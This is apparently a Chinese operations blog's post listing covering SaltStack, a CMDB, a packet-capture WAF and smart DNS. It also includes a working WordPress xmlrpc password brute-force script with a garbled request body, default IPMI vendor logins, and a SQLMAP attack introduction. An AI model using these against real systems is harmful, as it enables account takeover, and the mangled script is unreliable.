简介

在我看来基于Bind的只能DNS方案主要包括两个部分:Geolocation和Dynamic Record。国内的业界对智能DNS的定位也无非这两点,但是我所理解的智能DNS是建立在这两条基础上的智能调度系统,比如我有三个负载能力不同的数据中心,DNS可以根据数据中心的metrics(这里可能包括带宽,服务能力等)实现流量的调度,限于个人水平个人未在这个方向有所实践,这个话题留作以后讨论,所以本文只针对前两个问题。由于Bind本身的配置可运维性比较差,这就引出本文主要讨论的DLZ。

原理

DLZ实际上就是扩展了Bind,将Zonefle的内容放到外部数据库里,然后给Bind配置查询语句从数据库里查询记录。当修改数据库里的记录信息的时候,无需重启Bind,下次客户请求时直接就能返回新的记录了。另外,DLZ本身不支持缓存,所以需要自己根据实际情况解决查询的问题。

(更多…)

二月 14th, 2016

Posted In: linux系统

One Comment

很早的时候就开始开发这套系统,中间各种原因,导致进度一直很慢,现功能完成80%左右,努力年前写完所有代码

开发环境:saltstack、 django1.7 、python2.7、 tornado、rabbitmq、redis、zabbix

已实现功能: 装机,服务器授权,资产管理,添加监控,初始化基础服务,执行命令,自动化发布,故障统计管理

使用redis是使用其订阅key的功能,达到websocket时时回显内容,rabbitmq主要是在添加用户时为了何证数据不丢失,使用rabbitmq功能,django主要写代码逻缉,tornado一方面做发布异常接口,另一方面做websocket server使用,具体实现过程就不多讲了,主要就是调用saltstack api来完成对系统的控制,和基础环境的初始化,还是看截图吧,大家可以把自己开发的功能或截图发到网上,大家一起讨论,让运维工作更加轻松更加智能,

git地址https://github.com/voilet/cmdb

cmdb1 (更多…)

一月 26th, 2016

Posted In: python

9 Comments

安全一直是我观注的重点,为防止规则直接上线误杀正常请求,通过交换机流量静像到我的一台机器,进行流量静像分析,匹配我的规则,抓除需要加入白名单的url,然后联动nginx 和前端防火墙,行成一套入侵防御系统,以下只为针对七层做分析,稍后会对四层数据一起分析入库

config下whiteurl.py中添加需要过滤的白名单即可,当然可以是txt,可根据自己的实际情况进行修改,核心代码就这么多,IP库自己下一个就可以了

waf

代码如下:
waf.py

# !/usr/bin/env python
#-*- coding: utf-8 -*-
#=============================================================================
#     FileName: test.py
#         Desc:
#       Author: 苦咖啡
#        Email: voilet@qq.com
#     HomePage: http://blog.kukafei520.net
#      Version: 0.0.1
#   LastChange: 2014-09-01
#      History:
#=============================================================================
import pcap
import dpkt
import sys
import time
import re

#初始化ip库
from api.QQWry import *
from check_data import hack_filter, hackerinfo
#导入白名单
from config.whiteurl import *

pc = pcap.pcap("p2p1")    #注,参数可为网卡名,如eth0
pc.setfilter('tcp port 80')    #设置监听过滤器



for ts, buf in pc:    #ptime为收到时间,pdata为收到数据

    eth = dpkt.ethernet.Ethernet(buf)
    ip = eth.data
    tcp = ip.data
    src_ip = '%d.%d.%d.%d' % tuple(map(ord, list(eth.data.src)))
    src_time = time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime(ts + 28800))

    try:
        if tcp.dport == 80:

            http = dpkt.http.Request(tcp.data)

            #截取url以便白名单验证
            get_data_url = http.uri.split("?")[0]

            check_data = hack_filter(http)
            result = check_data.run()

            if result["status"] and get_data_url not in url_list:

                hack_data = hackerinfo(http, result["acl"], src_ip, src_time)
                hack_status = hack_data.run()

                print hack_status

    except:pass

源码下载地址:

https://github.com/voilet/waf

(更多…)

九月 4th, 2014

Posted In: python

Leave a Comment

最近使用python写一脚本,就字符串中数字问题,网上查了下原来python早都为我们提供了很好的方法,在次感叹自己python的无知,在此做下记录

>>> crazystring = ‘dade142.;!0142f[.,]ad’

只保留数字 >>> filter(str.isdigit, crazystring) ‘1420142’

只保留字母 >>> filter(str.isalpha, crazystring) ‘dadefad’

只保留字母和数字 >>> filter(str.isalnum, crazystring) ‘dade1420142fad’

如果想保留数字0-9和小数点’.’ 则需要自定义函数

>>> filter(lambda ch: ch in ‘0123456789.’, crazystring) ‘142.0142.’

或者使用正则表达式或循环

九月 2nd, 2014

Posted In: python

Leave a Comment

我们常常在使用saltstack的时候,需要根据不同主机名或id去区分不同业务,不同环境,同时我们又不想写太多配置文件,在saltstack里提供了salt[‘grains.filter_by’]的使用方法,可以轻松快速帮我们解决多环境下发不同配置文件及参数,直接上代码

我的主机名如下

[root@localhost ~]# salt 'java-15' grains.item fqdn
java-15:
  fqdn: l-salttest1.ops.beta.bj1

我们新建一个map.jinja文件

{% set env = salt['grains.filter_by']({
    'prod': {
        'file_path': '/tmp/prod.txt',
        'salt_source_path': 'salt://test/test.conf',

    },
    'beta': {
        'file_path': '/tmp/beta.txt',
        'salt_source_path': 'salt://test/test.conf',
    },
}, 'env', default='st')%}

在我们的init.sls中引用我们添加的变量,这里我们要注意哦 import env是set env,env就是你定议需要加载的名称就是一个json的key,你可以定义多个

{% from 'test/map.jinja' import env with context %}

test:
  file.managed:
    - source: {{env.salt_source_path}}
    - name: {{ env.file_path }}
    - user: root
    - group: root
    - mode: 644
    - template: jinja

看我们使用的结果

salt2

 

这里salt自动截取我们fqdn中的值做key,需要使用自定义grains
我的grains定义如下

# !/usr/bin/env python
#-*- coding: utf-8 -*-
#=============================================================================
#     FileName: node.py
#         Desc:
#       Author: 苦咖啡
#        Email: voilet@qq.com
#     HomePage: http://blog.kukafei520.net
#      Version: 0.0.1
#   LastChange: 2014-08-20
#      History:
#=============================================================================
import commands
def node():
    """
    取主机名相应字段
    """
    grains = {}
    hostname = commands.getoutput("hostname")
    data = hostname.split(".")
    grains['room'] = data[-1]
    grains['env'] = data[2]
    grains['project'] = data[1]
    grains['pro_name'] = data[0].split("-")[1]
    return grains

然后执行以下命令

state “*” saltutil.sync_all

salt ‘*’ sys.reload_modules

 

我们来看下代码
salt3

def filter_by(lookup_dict, grain='os_family', merge=None, default='default'):
   ret = lookup_dict.get(
            __grains__.get(
                grain, default),
            lookup_dict.get(
                default, None)
            )

    if merge:
        if not isinstance(merge, collections.Mapping):
            raise SaltException('filter_by merge argument must be a dictionary.')

        else:

            if ret is None:
                ret = merge

            else:
                salt.utils.dictupdate.update(ret, merge)

    return ret

其实非常简单,第一个传一个字典,第二个是我们传的变量,默认是取当前系统是centos还是debian,所以只要传我们自己定义的变量,就可以获取到我们想要的key和value

九月 1st, 2014

Posted In: 网络技术

Leave a Comment

根据freebuf代码修改,使用requests进行请求,中间使用连接符替换原有字符串相加,减少CPU运算量,以下为修改代码

# !/usr/bin/env python
#-*- coding: utf-8 -*-
#=============================================================================
#     FileName: wordpress_xmlrpc.py
#         Desc:
#       Author: 苦咖啡
#        Email: voilet@qq.com
#     HomePage: http://blog.kukafei520.net
#      Version: 0.0.1
#   LastChange: 2014-08-01
#      History: 
#=============================================================================
import requests

import re

def GetUrl():
    urlinput=raw_input("请输入wordpress站点:")
    requrl="http://"+re.match(r"(http://)?(.*)",urlinput).expand('\g<2>')+"/xmlrpc.php"
    print "尝试利用:"+requrl
    return requrl

def Aviable(requrl):
    """

    :param requrl:
    :return:
    """
    try:
        result = requests.get(requrl, timeout=5)
        if result.text == "XML-RPC server accepts POST requests only.":
            print "\n该站点存在此漏洞,尝试破解中:"
            return True

        else:
            return False
    except:

        print "抱歉,此站点漏洞不可用"
        return False



def Exploit():
    """
    说明:
    1.在本文件同目录下新建username.txt、password.txt分别存入用户名、密码字典
    2.按提示输入WordPress站点(例如:blog.kukafei520.net)

    """
    requrl = GetUrl()

    if Aviable(requrl):
        f_username = open("username.txt", "r")
        f_password = open("password.txt", "r")
        num = 0
        Flag = 0
        for name in f_username:
            if Flag == 1:
                break
            for key in f_password:
                if num == 0:
                    print "开始尝试...."
                else:
                    if num % 10 == 0:
                        print "已尝试"+str(num)+"个"
                reqdata='wp.getUsersBlogs\
                        '+ name + \
                        ''+ key  +\
                        ''

                req = requests.post(url=requrl, data=reqdata)
                result = req.text
                num = num+1

                if "isAdmin" in result:

                    hacker_data = "用户名: %s 密码: %s" % (name, key)
                    print hacker_data
                    Flag = 1

                    break

                elif "faultString" and "403" in result:
                    continue

                else:
                    print "Unknown error"
        f_username.close()
        f_password.close()
        if not Flag:
            print "抱歉,在此字典中未找到正确的密码"

if __name__ == '__main__':
    print Exploit.__doc__
    Exploit()

八月 1st, 2014

Posted In: 网络技术

Leave a Comment

from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/

0x00 背景介绍


1. 什么是SQL注入?

SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中我会向你展示在Kali Linux上如何借助SQLMAP来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

 

2. 什么是SQLMAP?

SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。

访问SQLMAP的官方网站http://www.sqlmap.org可以获得SQLMAP更为详细的介绍,如它的多项特性,最为突出的是SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL与Access等各种数据库的SQL侦测和注入,同时可以进行六种注入攻击。

还有很重要的一点必须说明:在你实施攻击之前想想那些网站的建立者或者维护者,他们为网站耗费了大量的时间和努力,并且很有可能以此维生。你的行为可能会以你永远都不希望的方式影响到别人。我想我已经说的够清楚了。(PS:请慎重攻击,不要做违法的事情)

PS:之前在wooyun上看了一些关于SQLMAP的文章,受益匪浅,今天翻译这篇文章,是希望对于如何使用SQLMAP提供一个基本的框架,SQL注入的原理以及SQLMAP详细的命令参数和不同的应用实例可以参考下面的文章:

SQL注射原理:http://drops.wooyun.org/papers/59

SQLMAP用户手册:http://drops.wooyun.org/tips/143

SQLMAP实例COOKBOOK:http://drops.wooyun.org/tips/1343 (更多…)

六月 4th, 2014

Posted In: 网络技术

Leave a Comment

下面就整理一下全部的IPMI的资料

http://www.openfusion.net/linux/ipmi_on_centos

参考上面的连接,很多高级功能。

IPMI设置

IPMI需要进入bios,进行设置IP地址。这个本身没什么特别。不过有时候你会发现设置完IPMI的IP地址后,无法访问,也无法ping通。你会以为IPMI出问题了。

这个时候,你需要完全拔掉机器的电源,等待5分钟,把网线插入IPMI的网卡。这个时候,插上电源,就算不开机,也应该可以ping通,访问。这个问题折腾了我很长时间。

机器加电前,需要把IPMI的网线插上,这样可以初始化。

另外默认IPMI是DHCP获得IP。

IPMI访问

国产服务器的IPMI访问的用户和密码,基本就是这些。这个和主板有关。我见过的两种主板的IPMI就是超微和泰安的。他们间功能上有点区别,默认的密码也是不一样。

联想:用户名:albert  pass:admin

超微:用户名:ADMIN  pass:ADMIN

泰安的主板:user:root  pass:superuser

浪潮服务器:user:root  pass:superuser

IPMI的功能

通过web访问IPMI,你可以实现对机器的操作

  • 开机,关机,重启,查看机器当前的通电状态
  • 安装系统。有些服务器的IPMI,没有内置iKVM,无法实现系统的安装。这个估计和成本有关
  • 修改IPMI的网络和IP地址
  • 修改bios设置,可以通过IPMI进入bios
  • 设置Raid。这个目前对鼠标支持很差。要想设置raid,就只能用键盘操作。这方面IBM,Dell,HP做的不错,他们完全是可以使用鼠标操作。

别的功能,就基本不太实用。另外通过IPMI,其实是可以获得当前机器的电量消耗等参数。这个后续再深入研究。

对于超微的机器,可以设置IPMI的网卡,采用共享,就是让eth0(第一块网卡)和IPMI网卡共有。这样可以节省一条网线。还有就是IPMI专用的网卡是百兆。如果是共用,那么是千兆。

超微的IPMI,可以设置vlan,就是把IPMI口独立到一个vlan里。这样共享,也不会有安全性的问题。泰安的IPMI,是没有vlan这个功能。 (更多…)

六月 4th, 2014

Posted In: linux系统

Leave a Comment

最近一直在使用saltstack,每次使用到file模块都还需要去查文档,今天在此记录,以便以后使用

文档:http://docs.saltstack.com/ref/states/all/salt.states.file.html

本文中用的top.sls

/srv/salt/top.sls
test:
  'minion1':
    - file

创建
1. 空文件

/srv/salt/test/file.sls 
/tmp/a.txt:
  file.managed

2. 根据模板文件生成文件

/srv/salt/test/file.sls
/tmp/a.txt:
  file.managed:
    - source: salt://files/a.txt

/srv/salt/test/files/a.txt
just a test

3. 根据变量生成文件

/srv/salt/test/file.sls
/tmp/a.txt:
  file.managed:
    - source: salt://files/a.txt
    - template: jinja
/srv/salt/test/files/a.txt
{{ pillar['os'] }}

(更多…)

五月 4th, 2014

Posted In: 网络技术

Leave a Comment

在我们使用saltstack推送配置文件时,会考滤到下发配置文件或代码都是不同的环境,比如开发环境,测试环境,或是qa环境,如何时来切分或是来分类了,saltstack在最初设计时都考滤的很清楚了,以下看看官方的配置和使用方法

3.3.5. States tutorial, part

This tutorial builds on topics covered in part 1part 2 and part 3. It is recommended that you begin there.

This part of the tutorial will show how to use salt’s file_roots to set up a workflow in which states can be “promoted” from dev, to QA, to production.

3.3.5.1. SALT FILESERVER PATH INHERITANCE

Salt’s fileserver allows for more than one root directory per environment, like in the below example, which uses both a local directory and a secondary location shared to the salt master via NFS:

# In the master config file (/etc/salt/master)
file_roots:
  base:
    - /srv/salt
    - /mnt/salt-nfs/base

Salt’s fileserver collapses the list of root directories into a single virtual environment containing all files from each root. If the same file exists at the same relative path in more than one root, then the top-most match “wins”. For example, if /srv/salt/foo.txt and /mnt/salt-nfs/base/foo.txt both exist, then salt://foo.txt will point to /srv/salt/foo.txt.

四月 19th, 2014

Posted In: 网络技术

Leave a Comment

由于 Apache Commons Fileupload 文件上传组件的问题,导致全系的 Tomcat 版本存在 DoS 安全漏洞。所影响的版本包括:

- - Commons FileUpload 1.0 to 1.3
- - Apache Tomcat 8.0.0-RC1 to 8.0.1
- - Apache Tomcat 7.0.0 to 7.0.50
- - Apache Tomcat 6 and earlier are not affected

解决该漏洞的方法:

- - Upgrade to Apache Commons FileUpload 1.3.1 or later once released
- - Upgrade to Apache Tomcat 8.0.2 or later once released
- - Upgrade to Apache Tomcat 7.0.51 or later once released
- - Apply the appropriate patch
  - Commons FileUpload: http://svn.apache.org/r1565143
  - Tomcat 8: http://svn.apache.org/r1565163
  - Tomcat 7: http://svn.apache.org/r1565169
- - Limit the size of the Content-Type header to less than 4091 bytes

exploit:
http://www.exploit-db.com/exploits/18619/

QQ20140207-2

二月 7th, 2014

Posted In: linux系统

Leave a Comment

最近在做一个表单前台验证,由于自己的js是弱项,网上找到了一个不错的表单验证,功能非常完善,先截张图看看,可使用dom验证或者加入js来验证,主机名和mac全部做了异步验证,查看数据库是否有此数据

window.$ && $(function(){
//验证初始化
$('#signupForm').validator({
    //stopOnError:true,
    //timely: 2,
	theme: "yellow_right_effect",
    showOk: "",
    //自定义规则(PS:建议尽量在全局配置中定义规则,统一管理)
    rules: {
        check_node: [/^((l|i)-){0,1}(n-[a-z0-9]+|[a-z0-9]{1,10}\.[a-z0-9]{1,10}\.({% for i in Environment %}{% if forloop.last %}{{ i }}{% else %}{{ i }}|{% endif %}{% endfor %}))\.(({% for i in idc %}{% if forloop.last %}{{ i }}{% else %}{{ i }}|{% endif %}{% endfor %})\.)(jumei.com|jumei.com.)+$/, '主机名不正确'],
        check_mac: [/^([0-9A-Fa-f]{2})(-[0-9A-Fa-f]{2}){5}|([0-9A-Fa-f]{2})(:[0-9A-Fa-f]{2}){5}$/, 'MAC不正确'] //验证mac
    },
    fields: {
        "node_name": {
            rule: "required;check_node;remote[/assets/select, node_name, csrfmiddlewaretoken]",
            tip: "输入主机名",
            ok: "",
            msg: {required: "主机名必须填写!"},
            data: {'data-ok':"主机名可以使用", 'data-msg-required': '主机名已正确'}
        },
        "mac": {
            rule: "required;check_mac",
            tip: "输入MAC",
            ok: "",
            msg: {required: "MAC必须填写!"}
        }
    }
});

});
//代码高亮
window.highlight && highlight();

dom型验证就更加简单了,直接在表单里面写你要验证的方法和返回的top及错误信息

<input type="password" name="demo"
data-rule="required; password"
data-rule-password="[/^\d{6}$/, '请填写6位数字']"
data-msg-required="请填写密码"
data-tip="密码由6位数字组成"
data-ok="别担心,稍后您还可以更改"
data-target="#msg_holder"
>

 

QQ截图20140120090119

更多方法请参考字方手册
http://niceue.com/validator/demo/

一月 20th, 2014

Posted In: 网络技术

Leave a Comment

以后我代码的log, 嘿嘿

code

(更多…)

十二月 25th, 2013

Posted In: python

2 Comments

使用salt收集minion信息时,默认items的信息有些不是我们想要的,有些想要的又没有,就扩展下了grains的方法,呵,感谢还不错

1

#!/usr/bin/env python
#-*- coding: utf-8 -*-
#=============================================================================
#     FileName:
#         Desc:
#       Author: 苦咖啡
#        Email: voilet@qq.com
#     HomePage: http://blog.kukafei520.net
#      Version: 0.0.1
#   LastChange: 
#      History:
#=============================================================================
from __future__ import print_function
from collections import namedtuple

import os
import subprocess
import re
import hashlib
#对字典取子集
def sub_dict(form_dict, sub_keys, default=None):
    return dict([(k, form_dict.get(k.strip(), default)) for k in sub_keys.split(',')])
#读取cpuinfo信息
# dmidecode -t 4
def read_cpuinfo():
    cpu_stat = []
    with open('/proc/cpuinfo', 'r') as f:
        data = f.read()
        for line in data.split('\n\n'):
            cpu_stat.append(line)
    return cpu_stat[-2]
 (更多…)

十二月 12th, 2013

Posted In: python

2 Comments

内存信息 / meminfo
返回dict

#!/usr/bin/env python 
def memory_stat(): 
    mem = {} 
    f = open("/proc/meminfo") 
    lines = f.readlines() 
    f.close() 
    for line in lines: 
        if len(line) < 2: continue 
        name = line.split(':')[0] 
        var = line.split(':')[1].split()[0] 
        mem[name] = long(var) * 1024.0 
    mem['MemUsed'] = mem['MemTotal'] - mem['MemFree'] - mem['Buffers'] - mem['Cached'] 
    return mem

CPU信息 / cpuinfo
返回list,每核心一dict

#!/usr/bin/env python 
def cpu_stat(): 
    cpu = [] 
    cpuinfo = {} 
    f = open("/proc/cpuinfo") 
    lines = f.readlines() 
    f.close() 
    for line in lines: 
        if line == 'n': 
            cpu.append(cpuinfo) 
            cpuinfo = {} 
        if len(line) < 2: continue 
        name = line.split(':')[0].rstrip() 
        var = line.split(':')[1] 
        cpuinfo[name] = var 
    return

(更多…)

十二月 12th, 2013

Posted In: python

Leave a Comment

下一页 »

无觅相关文章插件,快速提升流量